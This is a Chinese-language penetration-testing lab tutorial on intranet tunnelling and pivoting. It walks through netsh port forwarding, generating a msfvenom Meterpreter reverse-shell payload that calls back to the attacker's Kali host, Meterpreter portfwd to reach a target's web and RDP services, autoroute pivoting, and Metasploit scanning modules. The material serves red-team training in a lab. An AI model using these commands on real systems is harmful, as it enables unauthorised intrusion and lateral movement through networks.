一. 内网穿透原理

1. 内网穿透

利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。

  • 1)端口转发:将发往外网某个端口的数据完全转发给内网,是外网到内网的单向通信。
  • 2)端口映射:将内网IP的某个端口映射到公网IP的某个端口,实现通过公网IP+端口直接正向访问内网,端口映射实现双向通信

2. 隧道技术

是一种通过使用互联网络的基础设施在网络之间传递数据的方式。

红队在进攻的时候,需要在复杂的内容中获取稳定的流量交互,以达到目的。

攻击者通常会采用各种内网穿透技术建立隧道,从不同网络协议层对出口屏蔽或拦截进行绕过。

进行内网渗透常用的隧道技术有DNS隧道、HTTP隧道、SSH隧道、ICMP隧道等容易被网络防火墙放行的协议。

  • 1)网络层隧道:IPV6隧道、ICMP隧道、GRE隧道,其中常用的隧道技术是ICMP隧道技术。
  • 2)传输层隧道:主要有TCP、UDP协议,因此隧道搭建也是基于这两种协议进行的。常用的隧道搭建工具有netcat、 powercat等。
  • 3)应用层隧道:应用层位于TCP/IP协议的最顶层,通常用于搭建各种应用服务,而基于应用层搭建的隧道技术就是利用各种应用所占用的端口进行搭建,比如有SSH、HTTP/HTTPS和DNS服务,这些服务是服务器经常用到不会被禁止的协议。

3. 各类工具

Windows自带的netsh命令、MSF、CS、 Neo-reGeorg、 proxychains、 profiler、PowerCat、netcat、 Tunna、 frp、 EarthWorm等.

二. 构建实验环境

1. 网络构成

  • 1)攻击主机:Kali,IP地址:192.168.112.148
  • 2)代理主机:Windows 2016,IP地址:192.168.112.160、10.10.10.128
  • 3)内网主机:Windows7,IP地址: 10.10.10.129

Kali 可以与 Windows 2016 通信,不能与 Windows7 通信;Windows2016 可以与 Windows7 通信。

2. 构建网络

(1) 代理机 - Windows 2016

关防火墙!关防火墙!关防火墙!

我们需要给这个主机装上两个网卡,默认是一张NAT的,我们需要再添加一张,然后设置为主机模式

然后我们需要去修改网络编辑器的子网IP

设置完后重启,重启后我们看一下网络与共享中心

可以看到有两块网卡。

我们看看cmd中的显示

可以看到两块网卡上都有配置好的IP地址。

(2) 目标主机 - Win7

这个防火墙也要关了

win7和2016需要能够互联互通的。它就不用加网卡的,只需要改一处就可以了

我们看一下IP

可以看到和2016的第二张网卡在一个网段。

我们ping一下

成功

然后装一个xampp,或者小皮面板,个人建议小白用小皮面板

然后创建个网站就行

然后用 2016访问一下

![[13.png]]

(3) Kali Linux

不用管它

ping一下 2016那块接外网的IP

我们看看能不能ping通10.10.10.0网段

可以看到是ping不通的。

我们访问一下网站

访问不了。

三. 端口转发

这个就是根据命令在数据包完整的转给目标IP和目标端口

首先我们要知道这个网络结构是什么样的,哪个是代理机,哪个是目标机

现在我们是在kali上无法访问网站,我们现在想要通过win2016的外网IP来访问这个网站,即把win7的数据包通过2016全部转发给kali

1. 使用netsh进行端口转发

这个模拟的是:kali已经控制了win2016

先在win7上启动服务,即做一个网站,然后测试2016能不能访问。这个我们已经完成了

然后在2016上通过netsh启用端口转发

1
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=10.10.10.129 connectport=80

这句话的意思是:

使用netsh,启用一个代理端口,并且是IPv4 to IPv4之间的代理,监听端口为8080,要代理的地址是10.10.10.129,代理IP的端口是80。

监听端口win2016开启的端口,我们要通过这个端口访问2016

代理端口是win7开启的,能让2016访问的端口。

然后我们可以通过访问2016的8080端口来访问win7的80端口了。

输入命令

我们来验证一下是否成功

1
netsh interface portproxy show all

然后我们就可以在kali上访问了,注意这个IP是外网的IP

成功访问

清除转发规则:

1
2
netsh interface portproxy delete v4tov4 listenport=8080  // 删除指定的
netsh interface portproxy reset // 全删了

这样就没了。

2. 使用Meterpreter进行端口转发

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.71.129 LPORT=4444 -f exe -o shell.exe

这个LHOST是kali的IP

我们看一下这玩应在哪个目录

在root里头

找到了,然后我们需要打开监听模块

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.71.129 // 上面的lhost
set lport 4444 // 上面的lport
run // 打开监听

最后就是把shell.exe复制到2016里头,运行。

上线成功

我们可以看2016的一些东西

1
getuid

1
sysinfo

然后我们就可以来开启端口转发了

1
portfwd add -l 8889 -r 10.10.10.129 -p 80

添加本地端口号8889,远程IP地址为10.10.10.129,端口号为80

这个意思就是说,我们用2016这个肉鸡来访问10.10.10.129的80端口

然后我们就可以在kail本地访问网站了。

成功!

3. win7远程桌面

我们先要确定win7打没打开3389端口,我这里是打开了

1
backgroud

这个命令可以让当前MSF的工作放到后台。

1
sessions

这个命令可以看到MSF所有的任务

可以看到现在有一个任务

我们在当前任务下再开一个端口用来跑远程

1
sessions -i 1  // 选择ID为1的任务

1
portfwd add -l 8839 -r 10.10.10.129 -p 3389

我们用8839端口来转win7的3389端口。

成功,然后在kali命令行里整远程桌面就可以了

1
rdesktop 127.0.0.1:8839

成功远程访问

四. 怎么找到内网IP信息

1. 得到内网IP

我们现在是清空了所有的端口转发

我们现在是已经在代理机中放入木马了。

现在我们想要进行内网穿透,必须要先知道目标机在内网的IP地址是啥?

我们打开肉鸡的shell

我们可以看ARP缓存表,由于我们已经拿到代理机了,所以这里可以直接看到代理机的ARP缓存

可以看到肉鸡的ARP表中有这些数据,访问过:

  • 10.10.10.129:一个主机IP
  • 10.10.10.254:不用管
  • 10.10.10.255:不用管
  • 192.168.71.129:kali的IP不用管
  • 192.168.71.254:不用管
  • 192.168.71.255:不用管
  • 剩下的都没用

所以我们得到一个我们能的IP:10.10.10.129

我们还可以看一下路由表

1
route

可以得到两个地址,192.168.17.128和10.10.10.128,能看出来这俩是代理机的IP。

以上是windows自带的命令,我们还可以执行一些meterpreter中的指令

1
run get_local_subnets 

这里可以获取肉鸡的子网。

2. 确认目标是否存活

我们ping一下来确定目标是否存活

ping的话就不能在meterpreter中了,需要在肉鸡的shell里

然后我的虚拟机出了点意外,重新弄了IP

1
2
3
kali : 192.168.40.129
win 201610.10.10.128192.168.40.128
win710.10.10.129

由于IP变动、,所以我们再在shell看一下ARP表

还是10.10.10.129

我们在shell里ping一下

可以ping通,说明129存活。

3. 确认目标开启的端口服务

我们有两个方案可以进行内网的扫描:

  • MSF路由
  • MSF代理

我们讲一下MSF路由

我们有三种方式来添加路由

1、自动添加路由表
  • 在MSF中直接运行:run autoroute -s 192.168.40.0/24,添加一条192.168.40.0/24的路由

这里告诉我们,这个玩应不建议使用,但是能用,这个用法已经过期,然后让我们运行后面那个post渗透模块。然后给了你一个例子。

然后提示你路由增加成功。

我们看一下路由表

1
run autoroute -p

可以看到,这就有一个路由了。

我们也可以使用刚才建议的用法。

我们先把路由删了。

1
run autoroute -d -s 192.168.40.0/24

路由条目删除了。

2、使用模块

我们用刚才提示的新方法

1
run post/multi/manage/autoroute

我们看一下

这个方法是根据木马所在的肉鸡的网段自动生成路由

3、收手动添加路由表

这个和第一种差不多,我们先把路由表删了在运行。

然后background切换到后台,注意,不是退出,是切到后台运行

1
route add 192.168.40.0/24 1  // 1代表session1

添加成功。

然后我们可以切回去再看看

1
session -i 1

4、开始端口扫描

在MSF中输入:use auxiliary/scanner/portscan/tcp进入tcp模块进行端口扫描

然后我们可以用 show options进行查看命令。

我们扫一下端口,直接扫1-10000。

1
set posts 1-10000

然后设置主机,就是肉鸡的IP:

1
set rhosts 192.168.40.128

设置一个线程

1
set threads 5

然后 run开始跑

扫描的端口有点多,时间会有点长。

我这里列出了一些模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auxiliary/scanner/ftp/ftp_version               #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/tenet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于认的445端口
use auxiliary/scanner/msql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字